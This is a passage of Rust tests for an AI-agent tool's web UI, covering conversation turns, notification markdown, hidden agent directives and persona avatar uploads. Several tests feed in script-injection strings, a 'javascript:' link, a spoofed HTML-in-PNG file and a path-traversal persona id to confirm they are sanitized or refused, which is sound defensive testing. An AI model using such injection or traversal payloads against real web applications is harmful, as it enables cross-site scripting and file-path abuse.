14320        assert_eq!(roster, ["mock", "second"]);
14321
14322        let mut closed = talks.get(&id).expect("reload");
14323        talk::close(&mut closed, &talks).expect("close");
14324        let refused = call("mock").await.expect_err("closed talk");
14325        assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
14326        assert!(
14327            refused.message.contains("takes no more turns"),
14328            "{}",
14329            refused.message
14330        );
14331    }
14332
14333    #[tokio::test]
14334    async fn talk_implementers_validates_and_refuses_busy_or_closed() {
14335        let tmp = TempDir::new().expect("tempdir");
14336        let repo = tmp.path().join("repo");
14337        std::fs::create_dir_all(&repo).expect("repo dir");
14338        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
14339        let home = TempDir::new().expect("temp home");
14340        let talks = Talks::at(home.path().join("talks"));
14341        let ui = Arc::new(
14342            Ui::new(
14343                Queue::at(home.path().join("queue")),
14344                Questions::at(home.path().join("questions")),
14345                talks.clone(),
14346                home.path().join("runs"),
14347                home.path().to_path_buf(),
14348                repo.clone(),
14349            )
14350            .with_worktrees_root(home.path().join("wt")),
14351        );
14352        let cfg = config_for(&repo).await.expect("discover config");
14353        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
14354        let id = talk.id.clone();
14355        let call = |n: u8| {
14356            talk_implementers(
14357                State(Arc::clone(&ui)),
14358                Path(id.clone()),
14359                Json(TalkImplementers { implementers: n }),
14360            )
14361        };
14362
14363        for bad in [0u8, 4] {
14364            let e = call(bad).await.expect_err("out of range");
14365            assert_eq!(e.status, StatusCode::BAD_REQUEST, "{}", e.message);
14366        }
14367        assert_eq!(talks.get(&id).expect("reload").implementers, 1);
14368
14369        {
14370            // Nothing refused so far took a claim, so the guard is free to take
14371            // and holding it is what makes the talk busy.
14372            let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
14373            let busy = call(2).await.expect_err("busy talk");
14374            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
14375            assert!(
14376                busy.message.contains("a talk turn is running"),
14377                "{}",
14378                busy.message
14379            );
14380            drop(guard);
14381        }
14382
14383        let Json(view) = call(3).await.expect("switch");
14384        assert_eq!(view.talk.implementers, 3);
14385        assert!(talks.get(&id).expect("reload").implementers_dirty);
14386        assert!(!view.thinking);
14387        assert!(!ui.is_thinking(&id), "idle response must release the claim");
14388        for n in [1, 2, 3] {
14389            let Json(view) = call(n).await.expect("immediate consecutive change");
14390            assert_eq!(view.talk.implementers, n);
14391            assert!(!view.thinking);
14392            assert!(!ui.is_thinking(&id));
14393        }
14394
14395        let mut closed = talks.get(&id).expect("reload");
14396        talk::close(&mut closed, &talks).expect("close");
14397        let e = call(2).await.expect_err("closed talk");
14398        assert_eq!(e.status, StatusCode::CONFLICT, "{}", e.message);
14399        assert!(e.message.contains("takes no more turns"), "{}", e.message);
14400    }
14401
14402    /// A repo with `extra` appended to the mock agent's config, and a talk in it.
14403    async fn avatar_fixture(extra: &str) -> (TempDir, TempDir, Arc<Ui>, String, PathBuf) {
14404        let tmp = TempDir::new().expect("tempdir");
14405        let repo = tmp.path().join("repo");
14406        std::fs::create_dir_all(&repo).expect("repo dir");
14407        std::fs::write(
14408            repo.join("magi.toml"),
14409            format!("{MOCK_AGENT_TOML}\n{extra}"),
14410        )
14411        .expect("write magi.toml");
14412        let home = TempDir::new().expect("temp home");
14413        let talks = Talks::at(home.path().join("talks"));
14414        let ui = Arc::new(
14415            Ui::new(
14416                Queue::at(home.path().join("queue")),
14417                Questions::at(home.path().join("questions")),
14418                talks.clone(),
14419                home.path().join("runs"),
14420                home.path().to_path_buf(),
14421                repo.clone(),
14422            )
14423            .with_worktrees_root(home.path().join("wt")),
14424        );
14425        let cfg = config_for(&repo).await.expect("discover config");
14426        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
14427        (tmp, home, ui, talk.id, repo)
14428    }
14429
14430    #[tokio::test]
14431    async fn magi_provenance_view_resolves_legacy_replies_and_mixed_messages() {
14432        let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
14433        let mut conversation = ui.talks.get(&id).unwrap();
14434        talk::record(
14435            &mut conversation,
14436            &ui.talks,
14437            "# Update on a task you filed\noperator words",
14438            vec![],
14439        )
14440        .unwrap();
14441        // Simulate an old operator record; headings do not prove authorship.
14442        conversation.turns[0].sender = None;
14443        conversation.turns[0].messages.clear();
14444        ui.talks.put(&mut conversation).unwrap();
14445        talk::queue(&mut conversation, &ui.talks, "owner", vec![]).unwrap();
14446        talk::queue_once(&mut conversation, &ui.talks, "automatic report", "notice").unwrap();
14447        talk::drain(&mut conversation, &ui.talks).unwrap();
14448        talk::record_reply(
14449            &mut conversation,
14450            &ui.talks,
14451            "about that report",
14452            vec![],
14453            Some(talk::ReplyTarget {
14454                turn: 1,
14455                message: 1,
14456            }),
14457        )
14458        .unwrap();
14459        conversation.turns[2].messages[0]
14460            .reply
14461            .as_mut()
14462            .unwrap()
14463            .sender = None;
14464        conversation.turns.push(talk::Turn {
14465            sender: Some(talk::Sender::Persona),
14466            who: talk::Who::Agent,
14467            body: "magi: actual persona words".into(),
14468            at: Timestamp::now(),
14469            attachments: vec![],
14470            usage: None,
14471            breaks: None,
14472            messages: vec![],
14473            posted_by: None,
14474        });
14475        ui.talks.put(&mut conversation).unwrap();
14476        let view = TalkView::with_config(
14477            ui.talks.get(&id).unwrap(),
14478            false,
14479            None,
14480            &ui.home,
14481            &ui.references,
14482        );
14483        assert_eq!(view.talk.turns[0].sender, Some(talk::Sender::Operator));
14484        assert_eq!(
14485            view.talk.turns[1].messages[0].sender,
14486            Some(talk::Sender::Operator)
14487        );
14488        assert_eq!(
14489            view.talk.turns[1].messages[1].sender,
14490            Some(talk::Sender::Magi)
14491        );
14492        assert_eq!(
14493            view.talk.turns[2].messages[0]
14494                .reply
14495                .as_ref()
14496                .unwrap()
14497                .sender,
14498            Some(talk::Sender::Magi)
14499        );
14500        assert_eq!(view.talk.turns[3].sender, Some(talk::Sender::Persona));
14501        assert_eq!(view.turn_messages_md[0].len(), 1);
14502        assert!(view.turn_messages_md[0][0].is_none());
14503        assert!(view.turn_messages_md[1][0].is_none());
14504        assert!(view.turn_messages_md[1][1].is_some());
14505    }
14506
14507    #[tokio::test]
14508    async fn notification_display_survives_queue_history_and_reply_without_changing_input() {
14509        let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
14510        let mut conversation = ui.talks.get(&id).unwrap();
14511        let (body, display) = crate::prompt::chat_watch_report("watch-123", "failed", "output");
14512        talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
14513        talk::queue_notice(
14514            &mut conversation,
14515            &ui.talks,
14516            &body,
14517            "watch:123",
14518            &|_| false,
14519            None,
14520            display.clone(),
14521        )
14522        .unwrap();
14523        assert!(
14524            !talk::queue_notice(
14525                &mut conversation,
14526                &ui.talks,
14527                &body,
14528                "watch:123",
14529                &|_| false,
14530                None,
14531                display.clone()
14532            )
14533            .unwrap()
14534        );
14535        let saved = ui.talks.get(&id).unwrap();
14536        assert_eq!(saved.pending_messages[0].display, Some(display.clone()));
14537        let view = TalkView::with_config(saved, false, None, &ui.home, &ui.references);
14538        assert!(
14539            view.talk.turns[0].messages[0].display.is_none(),
14540            "operator copy stays literal"
14541        );
14542        assert_eq!(view.talk.pending_messages[0].display, Some(display.clone()));
14543        assert!(view.turn_messages_md[0][0].is_none());
14544        let queued_md = view.pending_messages_md[0].clone();
14545        assert_eq!(
14546            queued_md,
14547            Some(md::to_nodes(&display.facts, &md::ImageBase::None))
14548        );
14549        talk::drain(&mut conversation, &ui.talks).unwrap();
14550        talk::record_reply(
14551            &mut conversation,
14552            &ui.talks,
14553            "Explain",
14554            vec![],
14555            Some(talk::ReplyTarget {
14556                turn: 1,
14557                message: 0,
14558            }),
14559        )
14560        .unwrap();
14561        let mut saved = ui.talks.get(&id).unwrap();
14562        assert_eq!(saved.turns[1].messages[0].body, body);
14563        assert_eq!(saved.turns[1].messages[0].display, Some(display.clone()));
14564        let reply = saved.turns[2].messages[0].reply.as_mut().unwrap();
14565        assert!(!reply.excerpt.contains("automatic report"));
14566        reply.excerpt = body.chars().take(240).collect(); // old saved quote
14567        saved.turns[1].messages[0].display = None; // old MAGI send
14568        ui.talks.put(&mut saved).unwrap();
14569        let view = TalkView::with_config(
14570            ui.talks.get(&id).unwrap(),
14571            false,
14572            None,
14573            &ui.home,
14574            &ui.references,
14575        );
14576        assert_eq!(view.turn_messages_md[1][0], queued_md);
14577        assert_eq!(view.talk.turns[1].messages[0].display, Some(display));
14578        assert!(
14579            !view.talk.turns[2].messages[0]
14580                .reply
14581                .as_ref()
14582                .unwrap()
14583                .excerpt
14584                .contains("automatic report")
14585        );
14586        assert_eq!(ui.talks.get(&id).unwrap().turns[1].messages[0].body, body);
14587    }
14588
14589    #[tokio::test]
14590    async fn consultation_display_hides_directives_in_queue_and_history() {
14591        for node in [
14592            "implement",
14593            crate::land::APPROVAL_NODE,
14594            crate::github_text::ASK_NODE,
14595        ] {
14596            let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
14597            let mut question = Question::new(
14598                "run-123".into(),
14599                node.into(),
14600                "seat-1".into(),
14601                "Which backend?".into(),
14602                "## Context\n\nUse `storage`.\n\n<script>literal</script>".into(),
14603                vec!["SQLite".into(), "Redis".into()],
14604            );
14605            ui.questions.put(&mut question).unwrap();
14606            let body = crate::prompt::chat_consult(&question);
14607            let mut conversation = ui.talks.get(&id).unwrap();
14608            talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
14609            assert!(
14610                crate::consult::begin(&ui.questions, &ui.talks, &question, &conversation).unwrap()
14611            );
14612            conversation = ui.talks.get(&id).unwrap();
14613            assert_eq!(conversation.pending_messages[0].body, body);
14614            assert!(body.contains("magi answer"));
14615            let mut legacy_pending = conversation.clone();
14616            legacy_pending.pending_messages[0].display = None;
14617            let legacy_view =
14618                TalkView::with_config(legacy_pending, false, None, &ui.home, &ui.references);
14619            let legacy_md = serde_json::to_string(&legacy_view.pending_messages_md[0]).unwrap();
14620            assert!(legacy_md.contains("Question consultation"));
14621            assert!(!legacy_md.contains("magi answer"));
14622            let view =
14623                TalkView::with_config(conversation.clone(), false, None, &ui.home, &ui.references);
14624            assert!(
14625                view.turn_messages_md[0][0].is_none(),
14626                "operator copy stays literal"
14627            );
14628            let queued_md = view.pending_messages_md[0].clone().unwrap();
14629            let rendered = serde_json::to_string(&queued_md).unwrap();
14630            for visible in [
14631                "Which backend?",
14632                "Context",
14633                "storage",
14634                "SQLite",
14635                "Redis",
14636                "<script>literal</script>",
14637            ] {
14638                assert!(rendered.contains(visible), "missing {visible}");
14639            }
14640            for directive in [
14641                "What to do",
14642                "magi answer",
14643                "Never answer it yourself",
14644                "Do not edit the repository",
14645            ] {
14646                assert!(!rendered.contains(directive), "exposed {directive}");
14647            }
14648            assert_eq!(
14649                view.talk.pending_messages[0].display,
14650                Some(crate::prompt::chat_consult_display(&question))
14651            );
14652            talk::drain(&mut conversation, &ui.talks).unwrap();
14653            let view =
14654                TalkView::with_config(conversation.clone(), false, None, &ui.home, &ui.references);
14655            assert_eq!(view.turn_messages_md[1][0], Some(queued_md));
14656            assert_eq!(conversation.turns[1].messages[0].body, body);
14657
14658            // Historical consultations lack a snapshot: show a safe placeholder
14659            // rather than parsing instructions or reconstructing mutable facts.
14660            conversation.turns[1].messages[0].display = None;
14661            let view = TalkView::with_config(conversation, false, None, &ui.home, &ui.references);
14662            let legacy = serde_json::to_string(&view.turn_messages_md[1][0]).unwrap();
14663            assert!(legacy.contains("Question consultation"));
14664            assert!(!legacy.contains("magi answer"));
14665            assert!(notice_markdown(talk::Sender::Magi, &body, None).is_none());
14666        }
14667    }
14668
14669    #[test]
14670    fn notification_markdown_uses_only_visible_facts_and_explicit_provenance() {
14671        let facts = "# Update\n\n- `task` [PR](https://example.org)\n\n```sh\necho ok\n```\n\n<script>alert(1)</script>\n\n[bad](javascript:alert(1))";
14672        let (body, mut display) =
14673            crate::prompt::chat_watch_report("watch-123", "failed", "<script>untrusted</script>");
14674        display.facts = facts.into();
14675        let nodes = notice_markdown(talk::Sender::Magi, &body, Some(&display)).unwrap();
14676        assert_eq!(nodes, md::to_nodes(facts, &md::ImageBase::None));
14677        let json = serde_json::to_string(&nodes).unwrap();
14678        for kind in ["heading", "bullet_list", "code", "link", "code_block"] {
14679            assert!(json.contains(&format!("\"type\":\"{kind}\"")));
14680        }
14681        assert!(json.contains("<script>alert(1)</script>"));
14682        assert!(!json.contains("javascript:"));
14683        assert!(!json.contains("Tell the operator"));
14684        assert!(!json.contains("untrusted"));
14685        assert!(notice_markdown(talk::Sender::Operator, facts, None).is_none());
14686        assert!(notice_markdown(talk::Sender::Operator, &body, Some(&display)).is_none());
14687        assert!(notice_markdown(talk::Sender::Magi, &body, None).is_none());
14688        assert_eq!(
14689            notice_markdown(talk::Sender::Magi, "magi: # Status", None).unwrap(),
14690            md::to_nodes("# Status", &md::ImageBase::None),
14691        );
14692    }
14693
14694    #[tokio::test]
14695    async fn notification_display_recovers_exact_legacy_completion_references() {
14696        let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
14697        let mut conversation = ui.talks.get(&id).unwrap();
14698        let (body, display) = crate::prompt::chat_task_report(&crate::prompt::ChatTaskNotice {
14699            id: "task-123",
14700            title: "Change",
14701            status: "done",
14702            reason: None,
14703            run: Some("run-123"),
14704            pr: None,
14705            summary: Some("Merge state unknown"),
14706        });
14707        talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
14708        conversation.turns[0].sender = None;
14709        conversation.turns[0].messages.clear();
14710        conversation.turns[0].breaks = None;
14711        conversation.pending = body.clone();
14712        conversation
14713            .completion_notices
14714            .push(crate::chat_notify::CompletionReference {
14715                task: "task-123".into(),
14716                run: Some("run-123".into()),
14717                notice: body.clone(),
14718            });
14719        ui.talks.put(&mut conversation).unwrap();
14720        let view = TalkView::with_config(
14721            ui.talks.get(&id).unwrap(),
14722            false,
14723            None,
14724            &ui.home,
14725            &ui.references,
14726        );
14727        assert_eq!(
14728            view.talk.turns[0].messages[0].display,
14729            Some(display.clone())
14730        );
14731        assert_eq!(view.talk.pending_messages[0].display, Some(display));
14732        assert_eq!(
14733            view.talk.turns[0].messages[0].sender,
14734            Some(talk::Sender::Magi)
14735        );
14736        assert!(ui.talks.get(&id).unwrap().turns[0].messages.is_empty());
14737        conversation.completion_notices[0]
14738            .notice
14739            .push_str("different");
14740        let view = TalkView::with_config(conversation, false, None, &ui.home, &ui.references);
14741        assert!(view.talk.turns[0].messages.is_empty());
14742        assert!(view.talk.pending_messages.is_empty());
14743    }
14744
14745    #[tokio::test]
14746    async fn avatar_settings_report_states_and_inherit_after_corruption() {
14747        let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
14748        let (_tmp, home, ui, _, _) = avatar_fixture(&format!(
14749            "[[talk.personas]]\nid = \"rei\"\nicon = \"{icon}\"\n"
14750        ))
14751        .await;
14752        let path = avatar_setting_path(home.path(), Some("rei"));
14753        let orphan = avatar_setting_path(home.path(), Some("removed"));
14754        save_icon_file(&orphan, icon).unwrap();
14755        for (saved, expected) in [
14756            (icon, "custom"),
14757            ("builtin", "builtin"),
14758            ("data:image/png;base64,!!!!", "inherit"),
14759            ("data:image/png;base64,PGh0bWw+", "inherit"),
14760            ("/tmp/avatar.png", "inherit"),
14761        ] {
14762            atomic_icon_write(&path, saved).unwrap();
14763            let catalog =
14764                avatar_settings_get(State(ui.clone()), Query(AvatarSettingsQuery::default()))
14765                    .await
14766                    .unwrap()
14767                    .0;
14768            let personas = catalog["personas"].as_array().unwrap();
14769            let rei = personas.iter().find(|p| p["id"] == "rei").unwrap();
14770            assert_eq!(rei["override_state"], expected);
14771            assert_eq!(rei["has_config_icon"], true);
14772            assert_eq!(rei["is_orphan"], false);
14773            let removed = personas.iter().find(|p| p["id"] == "removed").unwrap();
14774            assert_eq!(removed["override_state"], "custom");
14775            assert_eq!(removed["is_orphan"], true);
14776            let default = personas.iter().find(|p| p["id"] == "default").unwrap();
14777            assert_eq!(default["override_state"], "inherit");
14778            assert_eq!(default["has_config_icon"], false);
14779            let effective = effective_persona_icon(home.path(), "rei", Some(icon));
14780            assert_eq!(
14781                effective.as_deref(),
14782                Some(if expected == "builtin" { "" } else { icon })
14783            );
14784        }
14785    }
14786
14787    #[tokio::test]
14788    async fn avatar_settings_persist_reset_isolate_and_reject_invalid_images() {
14789        let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
14790        let (_tmp, home, ui, id, repo) = avatar_fixture(&format!(
14791            "[[talk.personas]]\nid = \"rei\"\nicon = \"{icon}\"\n\n[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Stay concise\"\n"
14792        ))
14793        .await;
14794        let target = |id: Option<&str>| AvatarSettingsQuery {
14795            persona: id.map(str::to_owned),
14796            ..Default::default()
14797        };
14798        let original_config = config_for(&repo).await.unwrap();
14799        let original_persona = persona::find(&original_config.talk.personas, "rei").unwrap();
14800        let original_prompt = persona::section_for(&original_persona, None);
14801        let before = talk_detail(State(ui.clone()), Path(id.clone()))
14802            .await
14803            .unwrap()
14804            .0;
14805        for persona in [None, Some("rei"), Some("magi"), Some("../custom/日本語")] {
14806            let _ = avatar_settings_put(
14807                State(ui.clone()),
14808                Query(target(persona)),
14809                Json(MagiIconUpload { icon: icon.into() }),
14810            )
14811            .await
14812            .unwrap();
14813            let path = avatar_setting_path(home.path(), persona);
14814            assert!(path.starts_with(home.path().join("avatars")));
14815            assert_eq!(read_icon_file(&path).as_deref(), Some(icon));
14816            for bad in [
14817                "/tmp/image.png".to_owned(),
14818                "data:image/png;base64,!!!!".to_owned(),
14819                "data:image/png;base64,PGh0bWw+".to_owned(),
14820                "data:image/svg+xml;base64,PHN2Zz4=".to_owned(),
14821                format!(
14822                    "data:image/png;base64,{}",
14823                    "A".repeat(persona_icon::ICON_MAX_BYTES)
14824                ),
14825            ] {
14826                assert!(
14827                    avatar_settings_put(
14828                        State(ui.clone()),
14829                        Query(target(persona)),
14830                        Json(MagiIconUpload { icon: bad })
14831                    )
14832                    .await
14833                    .is_err()
14834                );
14835                assert_eq!(read_icon_file(&path).as_deref(), Some(icon));
14836            }
14837        }
14838        assert!(read_magi_icon(home.path()).is_none());
14839        assert!(effective_persona_icon(home.path(), "asuka", None).is_none());
14840        let after = talk_detail(State(ui.clone()), Path(id.clone()))
14841            .await
14842            .unwrap()
14843            .0;
14844        assert_ne!(before.view.operator_avatar, after.view.operator_avatar);
14845        assert_ne!(
14846            before
14847                .personas
14848                .iter()
14849                .find(|p| p.id == "magi")
14850                .unwrap()
14851                .avatar,
14852            after
14853                .personas
14854                .iter()
14855                .find(|p| p.id == "magi")
14856                .unwrap()
14857                .avatar
14858        );
14859        let restarted = Arc::new(Ui::new(
14860            Queue::at(home.path().join("queue")),
14861            Questions::at(home.path().join("questions")),
14862            Talks::at(home.path().join("talks")),
14863            home.path().join("runs"),
14864            home.path().to_owned(),
14865            repo,
14866        ));
14867        let catalog = avatar_settings_get(State(restarted.clone()), Query(target(None)))
14868            .await
14869            .unwrap()
14870            .0;
14871        assert!(
14872            catalog["personas"]
14873                .as_array()
14874                .unwrap()
14875                .iter()
14876                .any(|p| p["id"] == "../custom/日本語")
14877        );
14878        for expected in ["custom", "default", "rei"] {
14879            assert!(
14880                catalog["personas"]
14881                    .as_array()
14882                    .unwrap()
14883                    .iter()
14884                    .any(|p| p["id"] == expected)
14885            );
14886        }
14887        let response =
14888            operator_avatar(State(restarted.clone()), Query(AvatarQuery::default())).await;
14889        assert_eq!(response.headers()[header::CONTENT_TYPE], "image/png");
14890        let _ = avatar_settings_delete(State(restarted.clone()), Query(target(Some("rei"))))
14891            .await
14892            .unwrap();
14893        assert_eq!(
14894            effective_persona_icon(home.path(), "rei", Some(icon)),
14895            Some(String::new())
14896        );
14897        let response = talk_avatar(
14898            State(restarted.clone()),
14899            Path(id.clone()),
14900            Query(AvatarQuery {
14901                persona: Some("rei".into()),
14902                ..Default::default()
14903            }),
14904        )
14905        .await
14906        .unwrap();
14907        assert_eq!(response.headers()[header::CONTENT_TYPE], "image/svg+xml");
14908        let reset = talk_detail(State(restarted.clone()), Path(id.clone()))
14909            .await
14910            .unwrap()
14911            .0;
14912        assert_ne!(
14913            after
14914                .personas
14915                .iter()
14916                .find(|p| p.id == "rei")
14917                .unwrap()
14918                .avatar,
14919            reset
14920                .personas
14921                .iter()
14922                .find(|p| p.id == "rei")
14923                .unwrap()
14924                .avatar
14925        );
14926        let mut inherit = target(Some("rei"));
14927        inherit.inherit = Some("1".into());
14928        let _ = avatar_settings_delete(State(restarted.clone()), Query(inherit))
14929            .await
14930            .unwrap();
14931        assert_eq!(
14932            effective_persona_icon(home.path(), "rei", Some(icon)).as_deref(),
14933            Some(icon)
14934        );
14935        let _ = avatar_settings_delete(State(restarted.clone()), Query(target(None)))
14936            .await
14937            .unwrap();
14938        assert_eq!(operator_icon_url(home.path()), before.view.operator_avatar);
14939        assert_eq!(
14940            read_icon_file(&avatar_setting_path(home.path(), Some("magi"))).as_deref(),
14941            Some(icon)
14942        );
14943        // Display changes never rewrite the conversation or its prompt-bearing config.
14944        let cfg = config_for(&ui.repo).await.unwrap();
14945        let resolved = persona::find(&cfg.talk.personas, "rei").unwrap();
14946        assert_eq!(persona::section_for(&resolved, None), original_prompt);
14947        assert!(!original_prompt.contains("data:image"));
14948        assert_eq!(ui.talks.get(&id).unwrap().persona, before.view.talk.persona);
14949        let stored = serde_json::to_string(&ui.talks.get(&id).unwrap()).unwrap();
14950        assert!(!stored.contains("data:image"));
14951        let mut orphan = ui.talks.get(&id).unwrap();
14952        orphan.persona = "../custom/日本語".into();
14953        let view = TalkView::with_config(
14954            orphan,
14955            false,
14956            Some(&cfg),
14957            home.path(),
14958            &id_links::IndexCache::default(),
14959        );
14960        assert!(view.persona_avatar.contains("persona=..%2Fcustom%2F"));
14961    }
14962
14963    #[tokio::test]
14964    async fn magi_icon_saves_resets_revalidates_and_refreshes_cache() {
14965        let (_tmp, home, ui, id, repo) = avatar_fixture("").await;
14966        let original = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
14967        let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
14968        let _ = magi_icon_put(
14969            State(ui.clone()),
14970            Json(MagiIconUpload { icon: icon.into() }),
14971        )
14972        .await
14973        .unwrap();
14974        let changed = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
14975        assert_ne!(original, changed);
14976        assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
14977        let response = magi_avatar(
14978            State(ui.clone()),
14979            Query(AvatarQuery {
14980                persona: None,
14981                builtin: None,
14982            }),
14983        )
14984        .await;
14985        assert_eq!(response.headers()[header::CONTENT_TYPE], "image/png");
14986        assert_eq!(response.headers()[header::CACHE_CONTROL], "no-cache");
14987        assert_eq!(
14988            response.headers()[header::X_CONTENT_TYPE_OPTIONS],
14989            "nosniff"
14990        );
14991        for bad in [
14992            "data:image/png;base64,PGh0bWw+".to_owned(),
14993            "data:image/svg+xml;base64,PHN2Zz4=".to_owned(),
14994            "A".repeat(persona_icon::ICON_MAX_BYTES + 1),
14995        ] {
14996            assert!(save_magi_icon(home.path(), &bad).is_err());
14997            assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
14998        }
14999        // Re-opened server state reads the same independent home file.
15000        let restarted = Arc::new(Ui::new(
15001            Queue::at(home.path().join("queue")),
15002            Questions::at(home.path().join("questions")),
15003            Talks::at(home.path().join("talks")),
15004            home.path().join("runs"),
15005            home.path().to_path_buf(),
15006            repo,
15007        ));
15008        assert_eq!(
15009            magi_icon_get(State(restarted.clone())).await.0["avatar"],
15010            changed
15011        );
15012        let view = TalkView::with_config(
15013            restarted.talks.get(&id).unwrap(),
15014            false,
15015            None,
15016            &restarted.home,
15017            &restarted.references,
15018        );
15019        assert_eq!(view.magi_avatar, changed.as_str().unwrap());
15020        std::fs::write(magi_icon_path(home.path()), "invalid").unwrap();
15021        let response = magi_avatar(
15022            State(ui.clone()),
15023            Query(AvatarQuery {
15024                persona: None,
15025                builtin: None,
15026            }),
15027        )
15028        .await;
15029        let bytes = axum::body::to_bytes(response.into_body(), usize::MAX)
15030            .await
15031            .unwrap();
15032        assert_eq!(bytes.as_ref(), persona_icon::magi_svg().as_bytes());
15033        let _ = magi_icon_delete(State(ui.clone())).await.unwrap();
15034        assert_eq!(magi_icon_get(State(ui.clone())).await.0["avatar"], original);
15035        let _ = magi_icon_delete(State(ui)).await.unwrap();
15036    }
15037
15038    /// `(status, content-type, nosniff, csp, body)` of one avatar request.
15039    async fn avatar(
15040        ui: &Arc<Ui>,
15041        id: &str,
15042        persona: Option<&str>,
15043        builtin: bool,
15044    ) -> (StatusCode, String, bool, bool, Vec<u8>) {
15045        let res = talk_avatar(
15046            State(Arc::clone(ui)),
15047            Path(id.to_owned()),
15048            Query(AvatarQuery {
15049                persona: persona.map(str::to_owned),
15050                builtin: builtin.then(|| "1".to_owned()),
15051            }),
15052        )
15053        .await
15054        .expect("an avatar is never an error response");
15055        let h = res.headers();
15056        let ct = h[header::CONTENT_TYPE].to_str().unwrap().to_owned();
15057        let nosniff = h
15058            .get(header::X_CONTENT_TYPE_OPTIONS)
15059            .is_some_and(|v| v == "nosniff");
15060        let csp = h.contains_key(header::CONTENT_SECURITY_POLICY);
15061        let status = res.status();
15062        let body = axum::body::to_bytes(res.into_body(), usize::MAX)
15063            .await
15064            .expect("body")
15065            .to_vec();
15066        (status, ct, nosniff, csp, body)
15067    }
15068
15069    fn tiny_png() -> Vec<u8> {
15070        let mut b = b"\x89PNG\r\n\x1a\n".to_vec();
15071        b.extend_from_slice(&[0u8; 32]);
15072        b
15073    }
15074
15075    #[tokio::test]
15076    async fn operator_avatar_is_distinct_svg_with_a_locked_down_policy() {
15077        let (_tmp, _home, ui, _id, _repo) = avatar_fixture("").await;
15078        let res = operator_avatar(State(ui), Query(AvatarQuery::default())).await;
15079        assert_eq!(res.status(), StatusCode::OK);
15080        assert_eq!(res.headers()[header::CONTENT_TYPE], "image/svg+xml");
15081        assert_eq!(res.headers()[header::X_CONTENT_TYPE_OPTIONS], "nosniff");
15082        assert_eq!(res.headers()[header::CONTENT_SECURITY_POLICY], AVATAR_CSP);
15083        assert_eq!(res.headers()[header::CACHE_CONTROL], "no-cache");
15084        let body = axum::body::to_bytes(res.into_body(), usize::MAX)
15085            .await
15086            .unwrap();
15087        assert_eq!(body.as_ref(), persona_icon::operator_svg().as_bytes());
15088        assert_ne!(
15089            persona_icon::operator_svg(),
15090            persona_icon::builtin_svg("default")
15091        );
15092    }
15093
15094    #[tokio::test]
15095    async fn builtin_avatars_are_svg_with_a_locked_down_policy() {
15096        let (_t, _h, ui, id, _repo) = avatar_fixture("").await;
15097        for p in [
15098            "default", "magi", "rei", "misato", "ritsuko", "shinji", "asuka", "kaworu",
15099        ] {
15100            let (status, ct, nosniff, csp, body) = avatar(&ui, &id, Some(p), false).await;
15101            assert_eq!(status, StatusCode::OK, "{p}");
15102            assert_eq!(ct, "image/svg+xml", "{p}");
15103            assert!(nosniff && csp, "{p}");
15104            assert!(String::from_utf8(body).unwrap().starts_with("<svg"), "{p}");
15105        }
15106        // No `persona` means the conversation's own; unknown ones fall back.
15107        let own = avatar(&ui, &id, None, false).await;
15108        let default = avatar(&ui, &id, Some("default"), false).await;
15109        assert_eq!(own.4, default.4);
15110        let unknown = avatar(&ui, &id, Some("nobody"), false).await;
15111        assert_eq!(unknown.1, "image/svg+xml");
15112    }
15113
15114    #[tokio::test]
15115    async fn a_configured_raster_icon_is_served_and_bad_ones_fall_back() {
15116        let dir = TempDir::new().expect("icons");
15117        let good = dir.path().join("good.png");
15118        std::fs::write(&good, tiny_png()).unwrap();
15119        let spoof = dir.path().join("spoof.png");
15120        std::fs::write(&spoof, b"<html><script>alert(1)</script></html>").unwrap();
15121        let big = dir.path().join("big.png");
15122        let mut bytes = tiny_png();
15123        bytes.resize(persona_icon::ICON_MAX_BYTES + 1, 0);
15124        std::fs::write(&big, bytes).unwrap();
15125        let missing = dir.path().join("missing.png");
15126        let uri = |p: &FsPath| p.to_string_lossy().replace('\\', "/");
15127        let extra = format!(
15128            "[[talk.personas]]\nid = \"rei\"\nicon = \"{}\"\n\
15129             [[talk.personas]]\nid = \"misato\"\nicon = \"{}\"\n\
15130             [[talk.personas]]\nid = \"asuka\"\nicon = \"{}\"\n\
15131             [[talk.personas]]\nid = \"shinji\"\nicon = \"{}\"\n\
15132             [[talk.personas]]\nid = \"kaworu\"\nicon = \"data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=\"\n\
15133             [[talk.personas]]\nid = \"magi\"\nicon = \"data:image/png;base64,PGh0bWw+\"\n",
15134            uri(&good),
15135            uri(&spoof),
15136            uri(&big),
15137            uri(&missing),
15138        );
15139        let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
15140
15141        let (status, ct, nosniff, _, body) = avatar(&ui, &id, Some("rei"), false).await;
15142        assert_eq!(
15143            (status, ct.as_str(), nosniff),
15144            (StatusCode::OK, "image/png", true)
15145        );
15146        assert_eq!(body, tiny_png());
15147        let (_, ct, _, _, _) = avatar(&ui, &id, Some("kaworu"), false).await;
15148        assert_eq!(ct, "image/png", "data URI");
15149
15150        for p in ["misato", "asuka", "shinji", "magi"] {
